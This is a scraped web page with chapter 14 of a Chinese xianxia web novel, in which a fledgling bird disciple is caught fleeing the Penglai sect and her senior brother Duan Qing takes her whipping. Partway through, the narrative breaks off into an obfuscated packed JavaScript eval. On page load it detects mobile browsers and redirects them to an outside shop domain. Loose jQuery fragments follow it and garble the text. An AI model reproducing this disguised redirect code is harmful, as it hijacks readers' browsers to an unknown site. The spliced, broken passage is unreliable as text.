文趣网 > 其他小说 > 可我只是一只鸟啊 > 14. 第 14 章
    这几天闻人黎感觉下来,段清虽然对她很温和,也两次邀请她来蓬莱。

    但也能从林燕萍,纪灵以及众多弟子对他恭敬的态度中察觉到,段清不是一个特别没脾气的人。

    眼下嘴角无笑,一身黑甲白袍半蹲着。

    身体背光,自上而下的投出一片阴影笼罩住闻人黎。

    看起来格外冷峻。

    闻人黎顿时心脏砰砰跳。

    逃跑的中途被抓住可不是一件好事。

    现在有段清在这里,她继续逃肯定是逃不掉,但对方能放过她吗?

    如果自己现在恳求,保证自己从此往后绝对不会再来蓬莱,而且她只是一只普通鸟,完全没办法对蓬莱造成什么威胁。

    这个人会放过自己吗?

    闻人黎脑海中还在思索。

    段清半蹲着,看着面前的小汤圆一个劲地往陶罐上贴。

    也不知道在想什么,眼睛一眨不眨,警惕地看着他。

    好像他是什么洪水猛兽一般。

    段清很难得的有几分被气笑的情绪。

    他今日连续散开灵气寻找这只小鸟,一晚上没合眼就为了找她,结果刚见面,她倒是看他不高兴。

    两只小纸人到处挥舞手臂,赶走那些蝴蝶蜜蜂。

    但还没等段清说话,缩在角落的小鸟却忽然往前了两步,蹦跶一下,踩住他的鞋往前爬了两步,然后张开翅膀就抱住了他的小腿。

    “……”

    刚才竹排略微往下沉之际,水漫上来同时也沾湿了小鸟的爪子。

    段清的鞋面有几片小小的爪痕,三角形的,濡湿过后像春天枫树上萌发出的幼芽。

    叶片尚还稚嫩,微微打着卷,在风中轻轻摇摆。

    她还太小了。

    感觉不足一个月大,身上还都是绒毛。

    即使是人类的小腿对她来说也太大,她翅膀完全张开,似乎抱得很用力。

    用力到按理说这么小的一只鸟,段清应该没什么感觉才对。

    可他隔着几层布料,却莫名感觉到了那股抓握感。

    重而清晰,又带着几分轻颤。

    段清不由得低头去看。

    比起抱,小鸟更像是整个人贴在他腿上。

    脏脏的绒毛边缘还有些许黄色调。

    小小的一团,确实像只馅料饱满的黄汤圆。

    仿佛是见他没什么反应,腿边的小鸟又抬起眼。

    豆大的眼睛圆润,一眨不眨地盯着段清。

    像是在讨饶。

    段清没动。

    刚才在山上的几个修士匆忙下山,环视一周看到段清正蹲在竹筏上,他们相互对视一眼,也没出声叫段清。

    这一夜的奔波大家都看在眼里。

    更何况但凡是宗门,帮派,都有个不成文的规定,便是弟子拜入师门之后,若无难言之隐,非故不得随意叛出师门。

    今日这小鸟未经允许想要下山已是犯了大忌。

    既然如此,段清作为蓬莱首徒,此事又出在瀛洲岛,他自然要以身作则,严厉处理。

    轻则赏十余刑棍,重则断经抽骨,废除武功打出师门。

    这等惩治不义之徒的事,哪怕罚的再重,任谁也不敢有半句非议。

    周围寥寥听得几声鸟鸣,竹筏稍停。

    闻人黎不太懂段清的态度,她心脏越跳越快,开始琢磨要是自己现在往水里跳,有几成把握能游出去?

    鸟会游泳吗?

    但还未等她松开,段清却忽然手笼住她,起身道:“走吧,先回瀛洲。”

    说罢足尖点水,踏剑而行。

    两只黄符小纸人也随即抬起蛋壳,随着他而去。

    岸边的众多弟子又互相面面相觑,彼此都看出对方眼里的那点迷茫,但也并未多说,跟着远去。

    *

    瀛洲岛前院。

    闻人黎跑了大半夜,兜兜转转还是回来。

    她刚洗完澡,站在前厅的窗台上,身旁的阮蒙正拿着一块方巾给她擦拭绒羽,力道轻轻。

    大厅里人来人往,昨天那些被首徒令牌调动的弟子们都从山上撤下来,林燕萍正在一边说着些感激之词,一边给他们发赏钱。

    没一会,纪灵风风火火地从外面跑进来。

    青色的圆领衫垂到小腿中段,下身则是一件黄绿色的灯笼裤,发髻上坠着两条秋香色飘带,显得干练活泼。

    进来便大声问道:“四师兄,大师兄和三师兄呢?”

    林燕萍从大厅里探出头:“我在这。大师兄去了外门学堂,昨天调用了百余名外门弟子,今日要给他们休学半日休整,大师兄亲自去学宫解释了。”

    “噢学堂的那些老学究又要唠叨了……”纪灵嘟囔着。

    “是啊,”林燕萍声音还有些沙哑,不过仍旧道:“幸好大师兄有首徒令牌,调动子弟自是应该的,学堂的老先生也不好多说什么。”

    “他们还在其次,一会掌门师伯也该找上门了。”

    纪灵从阮蒙手里接过软帕,抬起闻人黎的翅膀给她擦拭,闻言三分不满七分忐忑地问:“师伯又要插手咱们瀛洲岛的事。那他会怎么处理小鸟?”

    “怎么处理?”

    林燕萍声音停了几秒。

    闻人黎顿感不安,她感觉自己好像给纪灵他们惹了很大的麻烦。

    而且,这件事似乎也不是找回自己就结束了。

    后续她还是会被处理。

    不过好像并不是为了杀她。

    处置罪犯之前应该没必要给她洗澡,何况纪灵和阮蒙的动作都很轻柔。

    仿佛对她没有敌意,反而很温和的感觉。

    可之前的黄衣小童确实说了掌门要阮蒙快些动手,难道是自己听错了?

    不可能吧?

    闻人黎脑海中乱成一团。

    里面,林燕萍重新开口说道:“赏刑鞭,关禁闭罢。”

    没有人再说话,纪灵低头揉了揉闻人黎的脑袋,小声叹了口气。

    闻人黎察觉到氛围微妙,她心脏砰砰直跳,身体紧绷。

    但面上还是如无其事,老实待在原地。

    没过多久,又有一个黄衣弟子匆匆从外面跑进来,朝着纪灵拱手打招呼,然后立在前厅外,对里面的林燕萍说道:“三师兄,掌门急招你们瀛洲岛诸位弟子去方丈岛议事厅。”

    林燕萍在房内道了句好。

    随即快步出来。

    纪灵稍有迟疑地问:“三师兄,要不然别带小鸟了……她还小呢。”

    林燕萍还未说话,黄衣弟子先道:“掌门有令,瀛洲岛的其他弟子可以不来,这位新弟子必须到场。”

    林燕萍摊手。

    纪灵跺跺脚,还是带上了闻人黎。

    *

    方丈岛的议事厅闻人黎刚到蓬莱的第一天就来过。

    今天和那次一样,太师椅上坐着几位中年男女,上首处那个国字脸的掌门仍然在踱步。

    但今日他步伐缓慢,像是在沉思。

    周边的气氛也肃穆许多。

    段清和林燕萍三人立在下首,旁边还有几个穿着灰衣的方丈岛的弟子。

    掌门环视一圈问道:“你们瀛洲岛二师兄呢?”

    林燕萍道:“二师兄还在闭关。”

    “哦。”

    掌门再度背手,踱了会步说道:“未曾禀告便擅自判逃师门,这是重罪。她虽刚入我蓬莱,可规矩不能废,免得有人说我蓬莱治法不严,此事应当严惩以儆效尤!”

    可话虽是这么说,掌门往底下瞥了一眼,就拳头大点的小鸟,别说是戒鞭了。

    估计连稍微用力点都承受不住。

    着实棘手。

    但是不罚也不行。

    不以规矩,不能成方圆。倘若每个弟子都要网开一面,他蓬莱该乱成什么样子。

    风永超看向一旁的刘敬平,寻求意见问道:“刘师弟,她是瀛洲岛弟子,你说该如何处理?”

    刘敬平本就不喜自己门下多出一只小鸡,他堂堂灵妙真人,说出去有个鸡崽弟子,像什么样子?

    倘若不是段清开口,自己断不会让她踏入瀛洲岛半步!

    刘敬平冷哼声道:“我瀛洲岛自有法度在,叛逃师门,还打伤我岛上圣物斜血蟾,弥天大错岂能轻饶,二十惩戒鞭伺候!”

    “师父!”

    他话音刚落,纪灵连忙出声求情:“连外门弟子挨上一鞭惩戒鞭都要躺三五日才能恢复,小鸟才多大,二十鞭你不是要了她的命吗?”

    惩戒鞭是蓬莱警戒弟子的刑罚之一。

    行刑时取两指宽的刺藤,沾上化藕池水,一鞭下去皮开肉绽还是其次。

    最主要的是化藕池水天然形成,又经过历代却荷堂堂主灵药调配,水里有极其重的腐蚀性,连灵力都能化解。

    沿着皮肉钻进去,滋味疼痛难忍。

    反正但凡挨过惩戒鞭的弟子往往都惨叫半天。

    刘敬平冷冷道:“死便死了,规矩不能废!”

    “师父,她虽然犯下大错,可刚来瀛洲岛又不知道规矩,再说一只小鸟,您何必与她计较?”

    刘敬平仍然不为所动:“规矩不能废!”

    闻人黎站在一旁。

    心脏仍然跳得很快,但也基本看清形势了,这个叫“刘敬平”的紫色衣服男子应该是他们瀛洲岛的师父。

    然后现在他要惩罚自己擅自出岛的事。

    二十鞭?

    未免太大题小做了。

    闻人黎不擅长给别人添麻烦,她刚想往前蹦跶一步说那你打好了,但是二十鞭太多了。

    还没跳出去,旁边的段清却率先撩衣半跪。

    没什么迟疑地说道:“今日之事是弟子管教不严,于情于理该先罚我这个大师兄。二十鞭刑鞭,弟子愿代其受过。”

    他一夜未睡,又多次散开灵气,声音沙哑,可落在室内仍然尤为沉磁。

    话音刚落,刘敬平当即拍案而起:“云乾,你——”

    闻人黎脑子也瞬间“嗡”了一声。

    她没想到段清会说这句话,就早晨他刚找到自己的时候,闻人黎是明显感觉到他在生气,所以当时她非常服软地想求饶的来着。

    可是,可是如果真的生气的话,为什么要代自己受过?

    是段清本来就是个特别有责任心的师兄吗?

    闻人黎非常,极其不想给人添麻烦。

    她顿时朝段清看去。

    但段清并没有看她,又重复了一遍:“蓬莱规矩不可废,但此事我亦有责任,弟子愿代其受过。”

    闻人黎的脑海像团浆糊。

    连思考都不甚清晰,周围的声音

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17748135|209205||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    也听得不太清,依稀中听见上面的掌门又问:“……你可知道修为越高戒鞭的威力就越大?”

    “……弟子知道。”

    “……如此,念在瀛洲岛同门之友谊深厚的份上,再加上她初犯戒律,打十二鞭足以。”

    “是。”

    *

    但凡弟子领惩,先核验身份,再由戒律堂发刑。

    不过戒鞭是严刑,蓬莱许久都未曾有弟子受此刑,堂里的长老还特意去储物阁翻找了半天才找出鞭子。

    等行刑完成也接近傍晚。

    闻人黎在瀛洲岛坐立难安。

    如果说修为越高刑鞭的威力越大,可大师兄的修为一看就很高,他岂不是很危险?

    是自己误会了吗,其实瀛洲岛压根没打算杀自己,

    她惹麻烦了?

    闻人黎晚饭也没怎么吃,到傍晚段清才从门外进来。

    斜阳夕照,笼着庭院里的荷花池,浅谈的金色也投在他身上。

    但男子仍旧是那副姿态,腰间悬一把宝剑,走起路有几分沉稳轻散的感觉,从外表倒是看不出受伤的痕迹。

    闻人黎连饭也不吃了,看着他走过来。

    林燕萍三人纷纷起身关切地喊道:“大师兄。”

    段清抬手示意自己没事,吩咐道:“去给我打些热水。”

    阮蒙赶紧应好。

    他往舍房走,林燕萍和纪灵也跟过去。

    闻人黎思考了两秒,在原地踌躇会,叼起他们吃好的碗筷摞在一起,随即也飞向厢房。

    纪灵在门口等候,看见闻人黎飞过来,连忙伸出手臂接住她。

    “你怎么来了?”

    闻人黎朝室内张望,纪灵见状察觉到她的焦急,出言安慰道:“我就知道你有灵性,知道大师兄是为你所伤。三师兄他们在给大师兄上药,师兄修为高强,一定没事的。”

    可话虽是这么说,但纪灵往屋里张望时眼神也明显流露出关切。

    这几天的相处,闻人黎也能感觉到瀛洲岛弟子间的关系应该不错,特别是纪灵他们都对段清十分恭敬。

    闻人黎更愧疚了。

    等了半柱香的时间,纪灵被叫去房内。

    没有叫闻人黎,她也不敢轻易进去,万一进去给人添堵就不好,便在庭院里站立发呆。

    没一会,阮蒙和纪灵一同出来,两人手上拿着些药材,应该是要去煎药。

    纪灵看见桃花树下淡黄色的身影,朝闻人黎说道:“你进去吧,师兄他们换完药了,不打紧的。”

    闻人黎朝她扑腾了下翅膀表示感谢。

    等纪灵他们走后,闻人黎才从门口小心地进去,然后飞到桌上。

    段清身披白袍,盘腿坐在床上,身形高大,林燕萍正在收拾一些白色的绸布段,应该是刚才包扎用的。

    边收拾边说:“……纪灵明天会去青夫人那里拿些金疮药,还有些活血化瘀的汤服药,大师兄你记得按时吃药。”

    “哎大师兄,你那颗青纹茴丹不该随意给人,那是金贵之物,倘若此时有茴丹医治,伤口会好得快许多。”

    闻人黎莫名想到了还在孽海时,段清喂自己吃的那颗丹药。

    不知道为什么,直觉告诉她,那颗丹药很可能就是林燕萍口中的青纹茴丹。

    段清没有多言,道谢:“三师弟,多谢。”

    “还和我客气什么,师兄,我去看着师弟煎药,你好生休息。”

    段清点头。

    林燕萍一直低头忙碌,倒还没注意到闻人黎进来了。

    等他走后,室内就剩下她和段清。

    里面点了蜡烛,还有荧石照明。

    荧石散发的光线柔和的铺了满屋,风从门外吹来,蜡烛的烛火被吹动,跳跃了两下,影子绰绰。

    动与静之间,闻人黎躲在看清对面段清眼下淡淡的乌青色。

    还有他绷紧的身形。

    挨鞭子应该挺疼的。

    闻人黎觉得自己现在应该道歉,但她不知道该怎么表达。

    鸟叫两声?

    还是怎么样?

    光道歉似乎不够真诚,可她现在也没有什么东西能送给段清。

    去弥补他。

    闻人黎思来想去,她扭头朝门口飞去。

    动作突然,段清其实早就注意到有只小黄团子进来了。

    见她飞出去,愣神片刻后失笑。

    这小鸟大概是记仇,还记得自己抓她回来的事。

    段清没有多在意。

    他手搭住脖颈,轻轻歪头活动两下缓解疲痛,烛光照在修长手指上,似玉似寒瓷。

    淡青脉络隐在薄薄的皮肉下,衬得那双手越发清透干净。

    揉了两下,便接着打坐。

    刚稍微动作,脊背传来一阵锥心的刺痛,段清微不可见的愁眉。

    却仍是盘腿运功。

    行气大周天,灵气先沉下丹田,经海底后行脊柱,打通任督二脉后再贯通奇经八脉。

    丹田真气运转。

    约摸一炷香的功夫,段清刚稍微回神,察觉到自己腿边有个东西。

    他睁开眼,正好看见闻人黎站在他腿边,仰起头盯着自己。

    见他醒过来,小鸟咬起旁边的一个东西放到他腿上。

    很小,很轻。

    是片蛋壳。